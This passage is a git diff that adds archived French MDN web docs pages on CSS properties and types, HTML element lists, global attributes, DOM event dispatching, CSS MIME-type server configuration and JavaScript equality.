{{CSSRef}}{{non-standard_header}}
+ +

La propriété -ms-scroll-snap-type est une propriété spécifique à Microsoft qui indique le type de point d'accroche à utiliser pour l'élément courant.

+ +

Syntaxe

+ +

Valeurs

+ +
+
none
+
+

Valeur initiale. Le déplacement et le défilement ne sont pas modifiés par les points d'accroche.

+
+
proximity
+
+

Lorsque l'inertie normale fait arriver à proximité d'un point d'accroche, la vitesse est ajustée afin que le mouvement se termine sur un point d'accroche. Il est toutefois possible que le mouvement se termine entre deux points d'accroche.

+
+
mandatory
+
+

L'inertie est ajustée afin que le mouvement se termine toujours sur un point d'accroche.

+
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+
+ +

Spécifications

+ +

Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.

+ +

{{cssinfo}}

+ +

Notes

+ +

 

+ +

Cette propriété est disponible à partir de Windows 8. Elle n'a aucun effet pour les éléments qui ne permettent pas d'utiliser un ascenseur.

+ +

À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions à la souris, au clavier ou au pavé tactile.

diff --git a/files/fr/conflicting/web/css/shape-outside/index.html b/files/fr/conflicting/web/css/shape-outside/index.html new file mode 100644 index 0000000000..de7ad2607a --- /dev/null +++ b/files/fr/conflicting/web/css/shape-outside/index.html @@ -0,0 +1,169 @@ +--- +title: +slug: Web/CSS/shape-box +tags: + - CSS + - Reference + - Type +translation_of: Web/CSS/shape-outside +translation_of_original: Web/CSS/shape-box +--- +
{{CSSRef}}
+ +

Le type de donnée CSS <shape-box> permet de définir des formes relatives aux boîtes de l'élément (voir le modèle de boîtes), notamment pour la propriété {{cssxref("shape-outside")}}.

+ +

Valeurs

+ +
+
margin-box
+
La forme correspond à la forme dessinée par le contour extérieur de la boîte de marge. Les rayons des coins de la forme sont définis grâce aux propriétés {{cssxref("border-radius")}} et {{cssxref("margin")}}. Si le ratio border-radius / margin est supérieur ou égal à 1, le rayon du coin de la boîte sera border-radius + margin. Si le ratio border-radius / margin est inférieur à 1, le rayon du coin de la boîte sera border-radius + (margin * (1 + (ratio-1)^3)).
+
border-box
+
La forme correspond à la forme dessinée par le contour extérieur de la boîte de bordure. Elle suit donc les règles normales de mise en forme de la bordure (notamment pour les coins arrondis).
+
padding-box
+
La forme correspond à la forme dessinée par le contour extérieur de la boîte de remplissage (padding). Elle suit les règles normales de mise en forme de la bordure (notamment pour les coins arrondis).
+
content-box
+
La forme correspond à la forme dessinée par le contour extérieur de la boîte de contenu. Le rayon de chaque coin correspondra à la valeur maximale entre 0 et border-radius - border-width - padding.
+
+ +

Exemples

+ +

CSS

+ +
.main {
+    width: 500px;
+    height: 200px;
+}
+
+.left {
+    -webkit-shape-outside: polygon(0 0, 100% 100%, 0 100%);
+    float: left;
+    width: 40%;
+    height: 12ex;
+    background-color: lightgray;
+    -webkit-clip-path: polygon(0 0, 100% 100%, 0 100%);
+}
+
+.right {
+    -webkit-shape-outside: polygon(100% 0, 100% 100%, 0 100%);
+    float: right;
+    width: 40%;
+    height: 12ex;
+    background-color: lightgray;
+    -webkit-clip-path: polygon(100% 0, 100% 100%, 0 100%);
+}
+
+p {
+    text-align: center;
+}
+ +

HTML

+ +
<div class="main">
+    <div class="left"></div>
+    <div class="right"></div>
+    <p>
+      Sometimes a web page's text content appears to be
+      funneling your attention towards a spot on the page
+      to drive you to follow a particular link. Sometimes
+      you don't notice.
+    </p>
+</div>
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples',"100%","100%")}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS Shapes', '#typedef-shape-box', '<shape-box>')}}{{Spec2('CSS Shapes')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support simple{{compatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{compatVersionUnknown}}
\xx{{compatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{compatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidChrome pour AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support simple{{compatVersionUnknown}}{{compatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{compatVersionUnknown}}
\xx{{compatVersionUnknown}}{{compatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{compatVersionUnknown}}
+
+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/css/url()/index.html b/files/fr/conflicting/web/css/url()/index.html new file mode 100644 index 0000000000..a31d8c3342 --- /dev/null +++ b/files/fr/conflicting/web/css/url()/index.html @@ -0,0 +1,34 @@ +--- +title: url() +slug: Web/CSS/filter-function/url +tags: + - CSS + - Junk + - Reference +translation_of: Web/CSS/url() +translation_of_original: Web/CSS/filter-function/url +--- +
{{CSSRef}}
+ +

La fonction url() permet d'utiliser un filtre SVG afin de modifier l'apparence d'une image.

+ +

Syntaxe

+ +
url(emplacement)
+ +

Paramètres

+ +
+
emplacement
+
L'URL ({{cssxref("<url>")}}) d'un fichier {{glossary("XML")}} qui définit un filtre SVG. On peut ajouter une ancre sur cette URL afin d'indiquer un filtre spécifique.
+
+ +

Exemple

+ +
url(ressources.svg#c1)
+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/css/url()_168028c4e5edd9e19c061adb4b604d4f/index.html b/files/fr/conflicting/web/css/url()_168028c4e5edd9e19c061adb4b604d4f/index.html new file mode 100644 index 0000000000..d68db30cfe --- /dev/null +++ b/files/fr/conflicting/web/css/url()_168028c4e5edd9e19c061adb4b604d4f/index.html @@ -0,0 +1,109 @@ +--- +title: +slug: Web/CSS/url +tags: + - CSS + - Reference + - Type +translation_of: Web/CSS/url() +translation_of_original: Web/CSS/url +--- +
{{CSSRef}}
+ +

Le type de donnée CSS <url> représente un pointeur vers une ressource (cela peut être une image, une police de caractères). Ce type de données ne possède pas de syntaxe propre et ne peut être utilisé qu'avec la notation fonctionnelle url(). Il est utilisé avec de nombreuses propriétés telles que {{cssxref("background-image")}}, {{cssxref("cursor")}}, {{cssxref("list-style")}}, etc.

+ +
Note : URI ou URL ?
+
+Une URI est différente d'une URL. Une URL décrit l'emplacement d'une ressource et l'URI décrit l'identifiant de la ressource. Une URI peut être un emplacement, une URL, un nom, une URN d'une ressource.
+
+Pour la spécification CSS de niveau 1, la notation fonctionnelle url() a été introduite afin de décrire des… URL, autrement dit des emplacements (un type de donnée <url> bien qu'il n'était pas défini explicitement).
+
+Pour la spécification CSS de niveau 2, la même notation fonctionnelle a été étendue afin de pouvoir décrire n'importe quelle URI, que ce soit une URL ou un URN. Cela a été une source d'ambiguïté car  url() était utilisée pour créer une valeur de type <uri>. En plus d'être source de confusion, les URN était très marginalement utilisées dans la pratique.
+
+Afin de remédier à cela, la spécification CSS de niveau 3 est revenue à la définition initiale avec cette fois-ci une définition explicite. La notation fonctionnelle url() représente donc une valeur de type <url> et plus une valeur de type <uri>.
+
+Cela dit, ces détails de sémantique ont peu d'impact pour les auteurs web voire pour l'implémentation du type de donnée par le moteur.
+ +

Syntaxe

+ +

L'URL peut être indiquée telle quelle comme argument de la fonction url()et encadrée, ou non, entre quotes ou doubles quotes. Il est possible d'utiliser des URL relatives. Celles-ci sont alors relatives à l'URL de la feuille de style (et non à l'URL de la page web).

+ +
 <propriété_css>:  url("http://monsite.exemple.com/curseur.png")
+ <propriété_css>: url("http://monsite.exemple.com/curseur.png")
+ <propriété_css>:  url(http://monsite.exemple.com/curseur.png)
+
+ +
+

Note : Les caractères de contrôle au-delà de 0x7e ne sont plus autorisés pour la forme sans quote à partir de Firefox 15. Voir {{bug(752230)}} pour plus d'informations.

+
+ +

Exemples

+ +

CSS

+ +
ul {
+  list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif")
+}
+ +

HTML

+ +
<ul>
+    <li>Élément 1</li>
+    <li>Élément 2</li>
+</ul>
+
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples')}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS4 Values', '#urls', '<url>')}}{{Spec2('CSS4 Values')}}
{{SpecName('CSS3 Values', '#urls', '<url>')}}{{Spec2('CSS3 Values')}}Aucune modification significative.
{{Specname('CSS2.1', 'syndata.html#uri', '<uri>')}}{{Spec2('CSS2.1')}}Aucune modification significative.
{{SpecName('CSS1', '#url', '<url>')}}{{Spec2('CSS1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.types.url")}}

+ +

Voir aussi

+ +
    +
  • {{cssxref("url()", "url()")}}
    • +
  • {{cssxref("<gradient>")}}
    • +
  • {{cssxref("element()")}}
    • +
  • {{cssxref("_image","image()")}}
    • +
  • {{cssxref("image-set","image-set()")}}
    • +
  • {{cssxref("cross-fade")}}
    • +
diff --git a/files/fr/conflicting/web/css/user-select/index.html b/files/fr/conflicting/web/css/user-select/index.html new file mode 100644 index 0000000000..047c721acc --- /dev/null +++ b/files/fr/conflicting/web/css/user-select/index.html @@ -0,0 +1,108 @@ +--- +title: '-ms-user-select' +slug: Web/CSS/-ms-user-select +tags: + - CSS + - Non-standard + - Propriété + - Reference +translation_of: Web/CSS/user-select +translation_of_original: Web/CSS/-ms-user-select +--- +
{{CSSRef}}{{non-standard_header}}
+ +

La propriété CSS -ms-user-select est une propriété spécifique à Microsoft qui indique sur quelle zone d'un élément l'utilisateur peut sélectionner le texte de l'élément.

+ +

Syntax

+ +

Valeurs

+ +
+
none
+
+

Empêche la sélection de commencer sur l'élément. Cette valeur n'empêche pas une sélection déjà initiée de continuer sur l'élément.

+
+
element
+
+

Active la sélection au sein de l'élément. Toutefois, la sélection est limitée aux bords de l'élément.

+
+
text
+
+

Active la sélection au sein de l'élément et permet de poursuivre la sélection à l'extérieur de l'élément.

+
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+
+ +

Exemples

+ +

Dans l'exemple suivant, on utilise le scénario d'un blog avec un conteneur qui est un élément {{HTMLElement("div")}} avec un identifiant blog. Ce conteneur contient un autre élément <div> avec l'identifiant blogPost pour le billet de la page. La classe comment est appliquée aux éléments <div> qui sont des commentaires. Le billet de blog contient un élément {{HTMLElement("input")}} et un élément {{HTMLElement("textarea")}} pour ajouter un commentaire.

+ +

La déclaration suivante désactive la sélection à l'exception du contenu éditable.

+ +
#blog {
+  -ms-user-select: none;
+  -webkit-user-select: none;
+  -moz-user-select: -moz-none;
+}
+
+ +

La déclaration suivante désactive la sélection pour le reste :

+ +
#blog, #blog input, #blog textarea,
+#blog *[contenteditable=true] {
+  -ms-user-select: none;
+  -webkit-user-select: none;
+  -moz-user-select: -moz-none;
+}
+
+ +

La déclaration suivante permet aux utilisateurs de ne sélectionner que le contenu du billet.

+ +
#blogPost {
+  -ms-user-select: element;
+  -webkit-user-select:  text;
+  -moz-user-select: text;
+}
+
+#blog {
+  -ms-user-select: none;
+  -webkit-user-select: none;
+  -moz-user-select: -moz-none;
+}
+
+ +

La déclaration suivante permet aux utilisateurs de ne sélectionner que les commentaires.

+ +
.comment {
+  -ms-user-select: element;
+  -moz-user-select: text;
+  -webkit-user-select: text;
+}
+
+#blog{
+  -ms-user-select: none;
+  -moz-user-select: -moz-none;
+  -webkit-user-select: none;
+}
+
+ +

Le code suivan permet de commencer la sélection sur le billet ou sur l'un des commentaires et de poursuivre sur la suite.

+ +
#blogPost, .comment {
+  -ms-user-select: text;
+}
+
+#blog {
+  -ms-user-select: none;
+}
+
+ +

Spécifications

+ +

Cette propriété est une propriété non-standard qui ne fait partie d'aucune spécification.

+ +

{{cssinfo}}

diff --git a/files/fr/conflicting/web/css/width/index.html b/files/fr/conflicting/web/css/width/index.html new file mode 100644 index 0000000000..92535f6d82 --- /dev/null +++ b/files/fr/conflicting/web/css/width/index.html @@ -0,0 +1,29 @@ +--- +title: auto +slug: Web/CSS/auto +tags: + - CSS + - Référence CSS +translation_of: Web/CSS/width +translation_of_original: Web/CSS/auto +--- +

{{ CSSRef() }}

+

Résumé

+

Indique qu'une valeur est calculée de manière automatique par le navigateur. Les effets de auto sont différents suivant la propriété à laquelle la valeur est affectée.

+

Utilisation

+
    +
  • {{ Cssxref("overflow") }}
    • +
  • {{ Cssxref("overflow-x") }}
    • +
  • {{ Cssxref("overflow-y") }}
    • +
  • {{ Cssxref("cursor") }}
    • +
  • {{ Cssxref("width") }}
    • +
  • {{ Cssxref("height") }}
    • +
  • {{ Cssxref("marker-offset") }}
    • +
  • {{ Cssxref("margin") }}
    • +
  • margin-* (left|bottom|top|right|start|end)
    • +
  • {{ Cssxref("bottom") }}
    • +
  • {{ Cssxref("left") }}
    • +
  • {{ Cssxref("table-layout") }}
    • +
  • {{ Cssxref("z-index") }}
    • +
  • {{ Cssxref("column-width") }}
    • +
diff --git a/files/fr/conflicting/web/guide/events/creating_and_triggering_events/index.html b/files/fr/conflicting/web/guide/events/creating_and_triggering_events/index.html new file mode 100644 index 0000000000..c075a3eec7 --- /dev/null +++ b/files/fr/conflicting/web/guide/events/creating_and_triggering_events/index.html @@ -0,0 +1,30 @@ +--- +title: dispatchEvent exemple +slug: DOM/dispatchEvent_exemple +tags: + - Référence_du_DOM_Gecko +translation_of: Web/Guide/Events/Creating_and_triggering_events +translation_of_original: Web/Guide/Events/Event_dispatching_example +--- +
+ {{ ApiRef() }}
+

Cet exemple montre la simulation d'un clic sur une case à cocher, à l'aide des méthodes DOM. Vous pouvez le voir en action ici.

+
function simulateClick() {
+  var evt = document.createEvent("MouseEvents");
+  evt.initMouseEvent("click", true, true, window,
+    0, 0, 0, 0, 0, false, false, false, false, 0, null);
+  var cb = document.getElementById("checkbox");
+  var canceled = !cb.dispatchEvent(evt);
+  if(canceled) {
+    // Un gestionnaire a appelé preventDefault
+    alert("canceled");
+  } else {
+    // Aucun gestionnaire n'a appelé preventDefault
+    alert("not canceled");
+  }
+}
+
+

 

+
+  
+

{{ languages( { "en": "en/DOM/dispatchEvent_example", "es": "es/DOM/dispatchEvent_example", "pl": "pl/DOM/dispatchEvent_-_przyk\u0142ad" } ) }}

diff --git a/files/fr/conflicting/web/guide/index.html b/files/fr/conflicting/web/guide/index.html new file mode 100644 index 0000000000..303018ea82 --- /dev/null +++ b/files/fr/conflicting/web/guide/index.html @@ -0,0 +1,13 @@ +--- +title: Développement Web +slug: Développement_Web +tags: + - Développement_Web +translation_of: Web/Guide +translation_of_original: Web_Development +--- +

Le développement Web comprend tous les aspects du développement d'un site ou d'une application Web.

+

Découvrez comment créer d'un simple site web à des applications complexes et interactives utilisant les dernières technologies du web en parcourant les articles que vous trouverez ici.

+

Sujets de documentation
Introduction au développement web
Un guide pour apprendre comment développer pour le web.
HTML
Le langage de balisage hypertexte est le langage de base pour créer des pages web et d'autres documents affichés dans un navigateur.
JavaScript
JavaScript est le langage de script le plus couramment utilisé pour développer des applications web ; il est également utilisé dans le développement de logiciels basés sur Mozilla.
CSS
Les feuilles de style en cascade permettent de concevoir des mises en pages complexes et d'avoir du style sur le web.
AJAX
Il ne s'agit pas tellement d'une technologie que d'un ensemble de technologies ; à l'aide de JavaScript et d'autres outils du web modernes mises ensemble, il est possible de créer des applications web dynamiques.
Standards du web
Apprenez à rendre votre site ou application web accessibles au plus grand nombre grâce à sa compatibilité avec le web ouvert.
Développer des sites à compatibilité descendante
Bonnes pratiques de création de sites qui continuent de fonctionner avec les mises à jour des navigateurs.
DOM
Le modèle objet de document est une API pour les documents HTML et XML qui fournit une représentation structurée du document qui peut être modifiée afin de changer son contenu et sa présentation.
XHTML
XHTML est un langage semblable à HTML, mais basé sur XML qui permet d'avoir une syntaxe plus stricte.
SVG
SVG est un langage de balisage XML permettant de décrire des graphiques vectoriels en deux dimensions.
FAQ de Mozilla pour développeurs web
Les questions les plus fréquemment posées par les développeurs web… et leurs réponses !

Tout afficher…

Communauté

Outils

{{ languages( { "zh-tw": "zh_tw/Web_開發", "de": "de/Webentwicklung", "en": "en/Web_Development", "es": "es/Desarrollo_Web", "it": "it/Sviluppo_Web", "ja": "ja/Web_Development", "pl": "pl/Programowanie_WWW","zh-cn": "cn/Web_Development" } ) }}

+
+

s

diff --git a/files/fr/conflicting/web/html/element/index.html b/files/fr/conflicting/web/html/element/index.html new file mode 100644 index 0000000000..42f2df0c51 --- /dev/null +++ b/files/fr/conflicting/web/html/element/index.html @@ -0,0 +1,580 @@ +--- +title: Liste des éléments HTML5 +slug: Web/Guide/HTML/HTML5/Liste_des_éléments_HTML5 +tags: + - Débutant + - Guide + - HTML + - HTML5 + - Web +translation_of: Web/HTML/Element +translation_of_original: Web/Guide/HTML/HTML5/HTML5_element_list +--- +

Cette Page n'est pas encore complète.

+ +

Travail progressif basé sur document de travail en court à http://www.whatwg.org/specs/web-apps/current-work/multipage/.

+ +

Élément racine

+ +

Les éléments racines définissent la structure d'un document HTML. Ils sont présents dans chacune des pages web et se situent à la suite de la déclaration doctype à la première ligne du document HTML. Les éléments de page sont placés à l'intérieur des balises ouvrante <html> et fermante </html>.

+ + + + + + + + + + + + + + +
BaliseDescription
{{ HTMLElement("html") }}L'élément HTML racine (<html>) représente la racine du document HTML. Tout autre élément est un descendant de cet élément racine.
+ +

Métadonnées du document

+ +

Les méta-données contiennent les informations liées à la page telles que les styles de présentation et les scripts. Les méta-données de style et de scripts peuvent être définies au sein de la page web ou via un lien pointant vers un fichier.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BaliseDescription
{{ HTMLElement("head") }} 
{{ HTMLElement("title") }} 
{{ HTMLElement("base") }} 
{{ HTMLElement("link") }} 
{{ HTMLElement("meta") }} 
{{ HTMLElement("style") }} 
+ +

Gestion des scripts

+ + + + + + + + + + + + + + + + + + +
BaliseDescription
{{ HTMLElement("script") }} 
{{ HTMLElement("noscript") }} 
+ +

Sections

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BaliseDescription
{{ HTMLElement("body") }} 
{{ HTMLElement("section") }} 
{{ HTMLElement("nav") }} 
{{ HTMLElement("article") }} 
{{ HTMLElement("aside") }} 
<h1>,<h2>,<h3>,<h4>,<h5>,<h6> 
{{ HTMLElement("hgroup") }} 
{{ HTMLElement("header") }} 
{{ HTMLElement("footer") }} 
{{ HTMLElement("address") }} 
+ +

Contenu de type bloc

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BaliseDescription
{{ HTMLElement("p") }} 
{{ HTMLElement("hr") }} 
{{ HTMLElement("pre") }} 
{{ HTMLElement("blockquote") }} 
{{ HTMLElement("ol") }} 
{{ HTMLElement("ul") }} 
{{ HTMLElement("li") }} 
{{ HTMLElement("dl") }} 
{{ HTMLElement("dt") }} 
{{ HTMLElement("dd") }} 
{{ HTMLElement("figure") }} 
{{ HTMLElement("figcaption") }} 
{{ HTMLElement("div") }} 
+ +

Les sémantiques à un niveau textuel

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BaliseDescription
{{ HTMLElement("a") }} 
{{ HTMLElement("em") }} 
{{ HTMLElement("strong") }} 
{{ HTMLElement("small") }} 
{{ HTMLElement("s") }} 
{{ HTMLElement("cite") }} 
{{ HTMLElement("q") }} 
{{ HTMLElement("dfn") }} 
{{ HTMLElement("abbr") }} 
{{ HTMLElement("data") }} 
{{ HTMLElement("time") }} 
{{ HTMLElement("code") }} 
{{ HTMLElement("var") }} 
{{ HTMLElement("samp") }} 
{{ HTMLElement("kbd") }} 
{{ HTMLElement("sub") }},{{ HTMLElement("sup") }} 
{{ HTMLElement("i") }} 
{{ HTMLElement("b") }} 
{{ HTMLElement("u") }} 
{{ HTMLElement("mark") }} 
{{ HTMLElement("ruby") }} 
{{ HTMLElement("rt") }} 
{{ HTMLElement("rp") }} 
{{ HTMLElement("bdi") }} 
{{ HTMLElement("bdo") }} 
{{ HTMLElement("span") }} 
{{ HTMLElement("br") }} 
{{ HTMLElement("wbr") }} 
+ +

Les éléments d'édition

+ + + + + + + + + + + + + + + + + + +
Balise 
{{ HTMLElement("ins") }} 
{{ HTMLElement("del") }} 
+ +

Le contenu inclus

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Balise 
{{ HTMLElement("img") }} 
{{ HTMLElement("iframe") }} 
{{ HTMLElement("object") }} 
{{ HTMLElement("param") }} 
{{ HTMLElement("video") }} 
{{ HTMLElement("audio") }} 
{{ HTMLElement("source") }} 
{{ HTMLElement("track") }} 
{{ HTMLElement("canvas") }} 
{{ HTMLElement("map") }} 
{{ HTMLElement("area") }} 
{{ HTMLElement("svg") }} 
{{ HTMLElement("math") }} 
+ +

Les données tabulaire

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Balise 
{{ HTMLElement("table") }} 
{{ HTMLElement("caption") }} 
{{ HTMLElement("colgroup") }} 
{{ HTMLElement("col") }} 
{{ HTMLElement("tbody") }} 
{{ HTMLElement("thead") }} 
{{ HTMLElement("tfoot") }} 
{{ HTMLElement("tr") }} 
{{ HTMLElement("td") }} 
{{ HTMLElement("th") }} 
+ +

Les formulaires

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Balise 
{{ HTMLElement("form") }} 
{{ HTMLElement("fieldset") }} 
{{ HTMLElement("legend") }} 
{{ HTMLElement("label") }} 
{{ HTMLElement("input") }} 
{{ HTMLElement("button") }} 
{{ HTMLElement("select") }} 
{{ HTMLElement("datalist") }} 
{{ HTMLElement("optgroup") }} 
{{ HTMLElement("option") }} 
{{ HTMLElement("textarea") }} 
{{ HTMLElement("keygen") }} 
{{ HTMLElement("output") }} 
{{ HTMLElement("progress") }} 
{{ HTMLElement("meter") }} 
+ +

Les éléments pour l'interactivité

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Balise 
{{ HTMLElement("details") }} 
{{ HTMLElement("summary") }} 
{{ HTMLElement("command") }} 
{{ HTMLElement("menu") }} 
+ +

 

diff --git a/files/fr/conflicting/web/html/global_attributes/index.html b/files/fr/conflicting/web/html/global_attributes/index.html new file mode 100644 index 0000000000..3ff9306fa4 --- /dev/null +++ b/files/fr/conflicting/web/html/global_attributes/index.html @@ -0,0 +1,26 @@ +--- +title: Attribut universel +slug: Glossaire/Attribut_global +tags: + - Attribut + - Glossaire + - HTML +translation_of: Web/HTML/Global_attributes +translation_of_original: Glossary/Global_attribute +--- +

Les attributs universels sont des {{glossary("attribute","attributs")}} qui peuvent être utilisés avec tous les {{glossary("element","éléments")}} (bien que parfois sans effet sur certains d'entre-eux).

+ +

Un petit nombre d'attributs peut être utilisé sur tout élément HTML :

+ +
    +
  • dir, lang, style, id, class, tabindex, accesskey, title, hidden, data-*, contextmenu, contenteditable, translate, spellcheck, draggable, dropzone, itemid, itemprop, itemref, itemscope et itemtype.
    • +
  • xml:lang et xml:base, dépréciés, hérités des spécifications {{glossary("XHTML")}} et conservés pour des raisons de compatibilité.
    • +
  • Les multiples attributs aria-*, pour améliorer l'accessibilité.
    • +
  • Les attributs de gestion d'événement : onabort, onautocomplete, onautocompleteerror, onblur, oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncontextmenu, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onsort, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting.
    • +
+ +

Pour approfondir

+ + diff --git a/files/fr/conflicting/web/http/basics_of_http/mime_types/index.html b/files/fr/conflicting/web/http/basics_of_http/mime_types/index.html new file mode 100644 index 0000000000..8b529a4399 --- /dev/null +++ b/files/fr/conflicting/web/http/basics_of_http/mime_types/index.html @@ -0,0 +1,67 @@ +--- +title: Type MIME incorrect pour les fichiers CSS +slug: Type_MIME_incorrect_pour_les_fichiers_CSS +tags: + - CSS +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +translation_of_original: Incorrect_MIME_Type_for_CSS_Files +--- +

Description du problème

+ +

Vous pouvez rencontrer des pages Web utilisant CSS avec une mise en page dégradée sous Firefox, Netscape 7.x ou tout autre navigateur basé sur Gecko comme Mozilla, tandis qu'Internet Explorer les affiche correctement. Une des raisons les plus courantes de cette situation est une configuration incorrecte du serveur Web hébergeant le fichier CSS. Certains serveurs Web Apache et iPlanet associent les fichiers portant une extension .css avec un type MIME incorrect comme « text/plain » ou « application/x-pointplus ». Dans certains cas, Netscape 7.x et Mozilla ignorent le fichier CSS à cause d'un mauvais type MIME et utilisent une feuille de style par défaut, ce qui fait que la mise en page n'est plus celle qui était prévue par le développeur Web.

+ +

La source du problème

+ +

La spécification du W3C indique que les fichiers CSS doivent être servis avec un type MIME text/css. Mozilla et Netscape 7.x, lorsqu'ils sont en « mode strict » suivront la spécification à la lettre et s'attendront à ce que le fichier CSS soit servi avec le type MIME correct (le « mode strict » est activé en mentionnant une DTD « stricte » dans la première ligne de la page HTML). En mode « quirks », ces navigateurs tolèreront un type MIME incorrect et utiliseront la feuille de style associée malgré la configuration incorrecte du serveur. Cela signifie que vous ne pouvez pas avoir de documents « stricts » sur un serveur mal configuré. Internet Explorer laissera passer cela en ne prenant pas en compte le type MIME fourni par le serveur dans les en-têtes HTTP.

+ +

La solution à mettre en œuvre

+ +

Vous devrez demander à l'administrateur du serveur de mettre à jour le fichier de configuration des types MIME du serveur Web.

+ +

Ce problème, pour les serveurs Web iPlanet/Netscape, a déjà été pris en compte par le fournissseur, qui a publié une note technique dans sa base de connaissances.

+ +

Si vous utilisez Apache, vous pouvez également changer la configuration du fichier .htaccess dans votre répertoire racine (le fichier .htaccess est un fichier de configuration en lecture seule gérant un certain nombre de choses dont les types MIME). Ajoutez cette ligne dans votre fichier .htaccess :

+ +
AddType text/css .css
+ +

Notez que certains administrateurs désactivent l'utilisation de fichiers de configuration .htaccess sur leurs serveurs Apache parce que cela cause une petite baisse des performances.

+ +

Conclusion

+ +

L'utilisation d'une définition de type de document strict avec Mozilla signifie que le serveur Web servant vos pages Web doit être configuré correctement. Il existe plusieurs manières de contourner ce problème, mais la plus efficace est d'associer les fichiers CSS avec le bon type MIME. Demandez à l'administrateur de corriger cela pour vous, tous les autres utilisateurs qui publient des documents HTML en mode strict vous remercieront !

+ +

Changement des types MIME sur les serveurs Web iPlanet/Sun

+ +

Problème

+ +

Les utilisateurs sont confrontés avec une boîte de dialogue « Enregistrer sous » avec le type de contenu défini à application/x-pointplus ou le contenu du fichier CSS est affiché en mode texte dans le navigateur lorsqu'une page renseigne un fichier CSS avec l'extension de fichier .css.

+ +

Solution

+ +

Le type de fichier CSS ne correspond pas aux feuilles de style CSS dans les types de fichiers par défaut fournis avec Enterprise Server. Vous pouvez changer les correspondances dans la page des types MIME globaux.

+ +

Pour accéder à cette page, depuis l'administration du serveur, choisissez Server Preferences, MIME Types et définissez le type MIME pour l'extension .css à text/css plutôt que application/x-pointplus.

+ +

Si le problème persiste, désactivez l'option keepalive en ajoutant « KeepAliveTimeout 0 » à magnus.conf.

+ +

Basé sur : SunSolve, Sun Microsystems

+ +

Ressources additionnelles

+ +

Configuration correcte des types MIME d'un serveur

+ +

About garbled media

+ +
+

Informations sur le document original

+ +
    +
  • Auteur(s) : Tristan Nitot
    • +
  • Date de publication : 18 mars 2002
    • +
  • Copyright © 2001-2003 Netscape.
    • +
+
+ +

Interwiki Language Links

+ +

{{ languages( { "en": "en/Incorrect_MIME_Type_for_CSS_Files", "es": "es/Tipo_MIME_incorrecto_en_archivos_CSS", "pl": "pl/Nieprawid\u0142owy_typ_MIME_plik\u00f3w_CSS" } ) }}

diff --git a/files/fr/conflicting/web/javascript/equality_comparisons_and_sameness/index.html b/files/fr/conflicting/web/javascript/equality_comparisons_and_sameness/index.html new file mode 100644 index 0000000000..7a6c3c3ac8 --- /dev/null +++ b/files/fr/conflicting/web/javascript/equality_comparisons_and_sameness/index.html @@ -0,0 +1,265 @@ +--- +title: L'égalité en JavaScript +slug: Web/JavaScript/Guide/Égalité_en_JavaScript +tags: + - Advanced + - Guide + - JavaScript + - Operators +translation_of: Web/JavaScript/Equality_comparisons_and_sameness +translation_of_original: Web/JavaScript/Guide/Sameness +--- +

{{jsSidebar("JavaScript Guide")}}

+

EcmaScript6 possède trois outils pour déterminer si deux valeurs x et y sont « égales ».  Il y a l'égalité simple (deux signes égal) (==), l'égalité stricte (trois signes égal) (===), et la méthode Object.is. (Cette méthode a été ajoutée avec ES6. Les opérateurs d'égalité simple et stricte étaient présents en JavaScript avant ES6 et ont conservé leur comportement.)

+

Un aperçu

+

Voici comment utiliser chacun de ces outils de comparaisons :

+
x == y
+
x === y
+
Object.is(x, y)
+

